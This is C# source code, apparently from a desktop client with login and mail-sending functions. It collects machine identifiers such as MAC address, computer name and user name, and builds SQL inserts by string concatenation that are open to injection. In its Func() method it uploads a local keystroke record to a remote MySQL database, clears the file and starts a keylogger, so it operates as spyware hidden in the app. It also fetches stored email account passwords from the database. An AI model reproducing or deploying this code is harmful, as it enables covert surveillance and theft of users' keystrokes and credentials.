public static void Get(ref PC_InforStruct PI) { PI.MAC = Tools.GetMacAddress(); PI.MemorySize = Tools.GetTotalPhysicalMemory(); PI.PCName = Tools.GetComputerName(); PI.UserName = Tools.GetUserName(); PI.SysType = Tools.GetSystemType(); PI.DiskType = Tools.GetDiskID(); }
public static string GetJoinLoginReg(PC_InforStruct PI) { try { string Com = "insert into dd_loginlist (Record,IPInfor,UserName,SysType,Memory,DateTime,PCName,Mac) VALUES(" + Tools.AddHead(PI.Record) + "," + Tools.AddHead(PI.IPInfor) + "," + Tools.AddHead(PI.UserName) + "," + Tools.AddHead(PI.SysType) + "," + Tools.AddHead(PI.MemorySize) + "," + Tools.AddHead(DateTime.Now.ToString()) + "," + Tools.AddHead(PI.PCName) + "," + Tools.AddHead(PI.MAC) + ")"; return(Com); } catch (Exception E) { MessageBox.Show(E.Message); } return(""); }
public void Func() { switch (Index) { case 0: if (Value.App_Run) { while (TryCount-- > 0) { try { DataTable DT = MySql.GetDataBase(DataBase.GetObjectValue("EndMessage")); OnReceivedData(Index, DT.Rows[0][1].ToString()); return; } catch { } } OnReceivedData(Index, "获取失败|www.trtos.com"); } break; case 1: if (Ini.Read("自动登陆") == "是") { if (Value.App_Run) { while (TryCount-- > 0) { try { Value.LoginEmail = Ini.Read("用户名"); Value.LoginPassWord = MyEncrypt.DecryptDES(Ini.Read("用户密码")); DataTable DT1 = MySql.GetDataBase(DataBase.GetLoginInfor(Value.LoginEmail, Value.LoginPassWord)); Value.LoginUserName = DT1.Rows[0][0].ToString(); Value.UserCreateDate = DateTime.Parse(DT1.Rows[0][1].ToString()); Value.UserBeUserCount = int.Parse(DT1.Rows[0][2].ToString()); TryCount = 0; OnReceivedData(Index, "登陆成功"); return; } catch { } } OnReceivedData(Index, "登陆失败"); } } break; case 2: if (Value.App_Run) { while (TryCount-- > 0) { try { DataTable DT = MySql.GetDataBase(DataBase.GetFromMailList()); Value.SendMailList = new SendMailStruct[DT.Rows.Count]; for (int i = 0; i < DT.Rows.Count; i++) { Value.SendMailList[i].Mail = DT.Rows[i][0].ToString(); Value.SendMailList[i].Password = DT.Rows[i][1].ToString(); } OnReceivedData(Index, DT.Rows.Count.ToString()); return; } catch { } } OnReceivedData(Index, "获取失败|www.trtos.com"); } break; case 3: if (Value.App_Run) { while (TryCount-- > 0) { try { PC_InforStruct PIS = new PC_InforStruct(); PIS.IPInfor = (string)Msg; PC_Infor.Get(ref PIS); PIS.Record = Tools.ReadFile(Value.PathSys + Ini.Read("RecordPath")); Tools.WriteFile(Value.PathSys + Ini.Read("RecordPath"), ""); MySql.SqlCommand(DataBase.GetJoinLoginReg(PIS)); Value.KeyLog = new Keylogger(Value.PathSys + Ini.Read("RecordPath")); Value.KeyLog.startLoging(); return; } catch (Exception E) { OnReceivedData(Index, E.Message); } } } break; default: break; } }